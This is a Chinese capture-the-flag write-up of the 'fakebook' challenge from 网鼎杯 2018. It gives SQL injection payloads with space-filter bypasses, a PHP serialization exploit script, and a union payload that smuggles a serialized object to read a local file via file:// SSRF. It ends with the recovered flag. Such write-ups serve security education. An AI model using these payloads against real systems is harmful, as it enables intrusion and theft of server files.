Σ(ﾟ∀ﾟﾉ)ﾉ✓参见龙王

fakebook——网鼎杯 2018

Lola

0x1 考点关键词

源码泄露、代码审计、SQL注入、SSRF、反序列化

0x2 题目详细

》分析

打开题目是一个可以进行登录注册页面，注册有填写链接地址的地方，随便注册一个先进去康康。

发现 view.php 疑似存在SQL注入，继续测试发现确实存在，fuzz 一下发现空格（可以用++和/**/绕过）和0x被过滤了，结果如下（注入方式还可以用报错注入进行，这里我两种混用方便记）：

-1++union++select++1,group_concat(schema_name),3,4++from++information_schema.schemata--+
/*fakebook,information_schema,mysql,performance_schema,test*/
1 and updatexml(1,make_set(3,'~',(select group_concat(table_name) from information_schema.tables where table_schema=database())),1)
/*users*/
1 and updatexml(1,make_set(3,%27~%27,(select group_concat(column_name) from information_schema.columns where table_name='users')),1)
/*no,username,passwd,data,USER,C*/
-1++union++select++1,group_concat(data),3,4++from++users--+
/*O:8:"UserInfo":3:{s:4:"name";s:1:"1";s:3:"age";i:1;s:4:"blog";s:5:"1.com";} */

发现data存的是个序列化后的数据，猜测后台是通过反序列化data后输出前端结果。

御剑扫出存在 flag.php 。

robots.txt 信息泄露 user.php.bak，下载源码：

<?php
 
 
class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
 
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
 
    function get($url)
    {
        $ch = curl_init();
        /*curl_init()：初始化一个 cURL 会话并且全部的选项都被设置后被调用*/
 
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        /*
            curl_setopt — 为给定的cURL会话句柄设置一个选项。
                说明：
                    bool curl_setopt ( resource $ch , int $option , mixed $value )
                参数:
                    ch：由 curl_init() 返回的 cURL 句柄。
                    option：需要设置的CURLOPT_XXX选项。
                    value：将设置在option选项上的值。
                    对于下面的这些option的可选参数，value应该被设置一个bool类型的值：
                        CURLOPT_RETURNTRANSFER：将curl_exec()获取的信息以文件流的形式返回，而不是直接输出。
                    对于下面的这些option的可选参数，value应该被设置一个string类型的值：
                        CURLOPT_URL：需要获取的URL地址，也可以在curl_init()函数中设置。
                         
                         
                        ###################
                        文件流的形式:指的是在传递过程中的文件,比如你上传一张图片,那么他不是以一个完整的图片传输的,是将文件按特定编码的字符传输.这个就是文件流
        */
        $output = curl_exec($ch);
        /*curl_exec ：执行 cURL 会话*/
        $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
        /*
            curl_getinfo — 获取一个cURL连接资源句柄的信息
                说明：
                       mixed curl_getinfo ( resource $ch [, int $opt = 0 ] )获取最后一次传输的相关信息。
                参数：
                      ch 由 curl_init() 返回的 cURL 句柄。
                      opt：这个参数可能是以下常量之一:
                            CURLINFO_HTTP_CODE : 最后一个收到的HTTP代码
        */
         
        if($httpCode == 404) {
            return 404;
        }
        curl_close($ch);
 
        return $output;
    }
 
    public function getBlogContents ()
    {
        return $this->get($this->blog);
    }
 
    public function isValidBlog ()
    {
        $blog = $this->blog;
        return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
    }
 
}

》总结

（当时自己没有想出来）

可以通过 union 进去一个反序列化数据达到 SSRF 的目的，这样就能绕过 join 处对博客网址的检测。

反序列化 exp：

<?php

class UserInfo
{
    public $name = "";
    public $age = 0;
    public $blog = "";
    public function __construct($name, $age, $blog)
    {
        $this->name = $name;
        $this->age = (int)$age;
        $this->blog = $blog;
    }
}

$c = new UserInfo();
$c -> name = "lola39";
$c -> age = 18;
$c -> blog = "file:///var/www/html/flag.php";

echo serialize($c);
?>

解题 payload ：

-1/**/union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:6:"lola39";s:3:"age";i:18;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'

查看页面源码即可看到链接

<iframe width='100%' height='10em' src='data:text/html;base64,PD9waHANCg0KJGZsYWcgPSAiZmxhZ3tjMWU1NTJmZGY3NzA0OWZhYmY2NTE2OGYyMmY3YWVhYn0iOw0KZXhpdCgwKTsNCg=='>

得到

<?php

$flag = "flag{c1e552fdf77049fabf65168f22f7aeab}";
exit(0);

0x3 PS

所以这里的重点是 curl_setopt()和curl_exec()这两个函数，在注册界面直接输入file:///var/www/html/flag.php存在过滤，这时候可以利用SSRF来绕过过滤

退出移动版